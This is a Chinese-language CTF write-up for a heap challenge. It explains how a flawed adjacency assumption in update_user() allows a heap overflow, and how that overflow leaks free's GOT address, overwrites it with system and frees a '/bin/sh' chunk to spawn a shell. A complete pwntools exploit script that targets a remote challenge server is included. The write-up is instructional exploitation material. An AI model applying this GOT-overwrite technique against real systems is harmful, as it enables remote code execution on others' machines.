0x0 程序保护和流程
保护:
流程:
main()
add_user()
连续分配了两个堆块,并将第一次分配的堆块的指针存入第二次分配的堆块的fd字段,bk字段开始存放name,之后调用了update_user()
输入完length之后要经过判断,需要第一次分配的堆块的数据段的地址加上输入的长度的值必须小于第二次分配的堆块的数据段的地址减4的值才能输入text。
delete_user()
根据索引分别释放两个堆块,再将指向第二次分配堆块的指针清零。
display_user()
根据索引输出之前输入的数据。
0x1 利用过程
1.这个程序乍一看好像没有问题,每个函数的限制条件也没什么问题,指向释放之后的堆块的指针也请零了。再次看向update_user()的判定中存在逻辑问题,再进行大小判断的时候是根据地址的大小判断的,基于这个判断的前提是两次分配的堆块是相邻的。但是经过大小不同的分配和释放就会造成分配的两个堆块不是相邻的,这样就会导致堆溢出的发生。
2.在add_user()中第一次分配的堆块的大小是可控的,第二个堆块的大小固定是0x80这个堆块释放之后会进入unsorted bin。如果将第一次分配的堆块的大小限制在fast bin中,再利用索引删除这两个堆块,一个进入fast bin,一个进入unsorted bin。再次分配时只要将可控大小的堆块申请分配的数值不属于之前的fast bin就会从unsorted bin中切割,这样的话就会导致再次分配的固定大小的堆块的地址比较大,就会导致栈溢出了。如果在这中间还有类似的堆块的话,就可以控制指针,泄露地址,然后getshell了。
3.通过上述分析,可以确定具体思路,构造堆溢出,通过free函数的got表泄露free函数的地址,计算出system函数的地址,修改free函数的got表中的数据为system函数的地址,释放预先填入’/bin/sh\x00’的堆块进行getshell 。
构造堆溢出。再次分配堆块时,如果实际分配的大小与索引为0实际分配的大小不一致就会造成溢出。
addUser(0x10,'name0','a'*5)
addUser(0x10,'name1','b'*5)
addUser(0x20,'name2','/bin/sh\x00')
deleteUser(0)
利用溢出将索引为1的堆块指向text的指针覆盖为free函数的got表地址。
addUser(0x30,'name3','c'*0xA0+p32(free_got))
利用display_user()泄露free函数的地址,并计算system函数的地址。(题目给出的libc有问题)
displayUser(1)
sh.recvuntil('description: ')
free_addr=u32(sh.recv(4))
if local:
libc_base=free_addr-free_libc
system_addr=libc_base+system_libc
else:
libc=LibcSearcher('free', free_addr)
libc_base=free_addr-libc.dump('free')
system_addr=libc_base+libc.dump('system')
利用update_user()将free函数的got表中的数据改为system函数的地址。
updateUser(1,p32(system_addr))
现在调用free函数就相当于调用system函数,因为在索引为2的堆块的text中写入了’/bin/sh\x00’所以此时调用free函数就可以getshell了。
deleteUser(2)
sh.interactive()
0x2 exp
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
local=0
if local:
sh=process('./a')
libc=ELF('/lib/i386-linux-gnu/libc.so.6')
else:
sh=remote('220.249.52.133','54195')
elf=ELF('./a')
free_got=elf.got['free']
free_libc=libc.symbols['free']
system_libc=libc.symbols['system']
def addUser(size,name,text):
sh.sendlineafter('Action: ','0')
sh.sendlineafter('size of description: ',str(size))
sh.sendlineafter('name: ',name)
sh.sendlineafter('text length: ',str(len(text)))
sh.sendlineafter('text: ',text)
def deleteUser(index):
sh.sendlineafter('Action: ','1')
sh.sendlineafter('index: ',str(index))
def displayUser(index):
sh.sendlineafter('Action: ','2')
sh.sendlineafter('index: ',str(index))
def updateUser(index,text):
sh.sendlineafter('Action: ','3')
sh.sendlineafter('index: ',str(index))
sh.sendlineafter('text length: ',str(len(text)))
sh.sendafter('text: ',text)
def exit():
sh.sendlineafter('Action: ','4')
addUser(0x10,'name0','a'*5)
addUser(0x10,'name1','b'*5)
addUser(0x20,'name2','/bin/sh\x00')
deleteUser(0)
addUser(0x30,'name3','c'*0xA0+p32(free_got))
displayUser(1)
sh.recvuntil('description: ')
free_addr=u32(sh.recv(4))
if local:
libc_base=free_addr-free_libc
system_addr=libc_base+system_libc
else:
libc=LibcSearcher('free', free_addr)
libc_base=free_addr-libc.dump('free')
system_addr=libc_base+libc.dump('system')
updateUser(1,p32(system_addr))
deleteUser(2)
sh.interactive()